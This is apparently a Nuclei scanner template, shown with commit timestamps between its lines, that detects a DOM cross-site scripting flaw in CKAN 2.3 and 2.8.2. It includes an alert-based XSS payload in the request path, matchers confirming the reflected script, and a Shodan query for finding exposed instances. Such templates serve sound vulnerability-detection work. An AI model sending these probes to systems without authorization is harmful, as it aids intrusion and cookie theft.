2021-06-10 08:07:33 +00:00
id : ckan-dom-based-xss
info :
2023-03-27 17:46:47 +00:00
name : CKAN - DOM Cross-Site Scripting
2021-06-10 08:07:33 +00:00
author : dhiyaneshDk
2022-09-21 21:42:27 +00:00
severity : high
2023-03-27 17:46:47 +00:00
description : CKAN contains a cross-site scripting vulnerability in the document object model via the previous version of the jQuery Sparkle library. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/ckan/ckan/blob/b9e45e2723d4abd70fa72b16ec4a0bebc795c56b/ckan/public/base/javascript/view-filters.js#L27
2022-09-21 21:42:27 +00:00
- https://security.snyk.io/vuln/SNYK-PYTHON-CKAN-42010
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2023-02-09 18:58:16 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
2023-02-09 18:58:16 +00:00
shodan-query : html:"ckan 2.8.2" || html:"ckan 2.3"
2021-06-10 08:07:33 +00:00
tags : dom,xss
2023-04-27 04:28:59 +00:00
http :
2021-06-10 08:07:33 +00:00
- method : GET
path :
2023-02-09 18:58:16 +00:00
- '{{BaseURL}}/?{alert(document.domain)}'
2021-06-10 11:57:21 +00:00
matchers-condition : and
2021-06-10 08:07:33 +00:00
matchers :
2023-02-09 18:58:16 +00:00
- type : word
part : body
words :
- '<option value="/en/?{alert(document.domain)}" selected="selected">'
2021-06-10 08:07:33 +00:00
- type : word
2023-02-09 18:58:16 +00:00
part : body
2021-06-10 08:07:33 +00:00
words :
2023-02-09 18:58:16 +00:00
- 'ckan 2.3'
- 'ckan 2.8.2'
condition : or
2021-06-10 08:07:33 +00:00
- type : word
2023-02-09 18:58:16 +00:00
part : header
2021-06-10 08:07:33 +00:00
words :
- 'text/html'
2022-09-21 21:42:27 +00:00
2023-02-09 18:58:16 +00:00
- type : status
status :
- 200
2023-10-19 13:13:52 +00:00
# digest: 4b0a00483046022100f2b019c73a849cd558ac85f4003913f1d902ed32b7117e3a53d07ee3dae2ee8d0221009e970a17aa5c493bcc4b49eee5b41eb3f72822836d171a1b27175aa2675d10d3:922c64590222798bb761d5b6d8e72950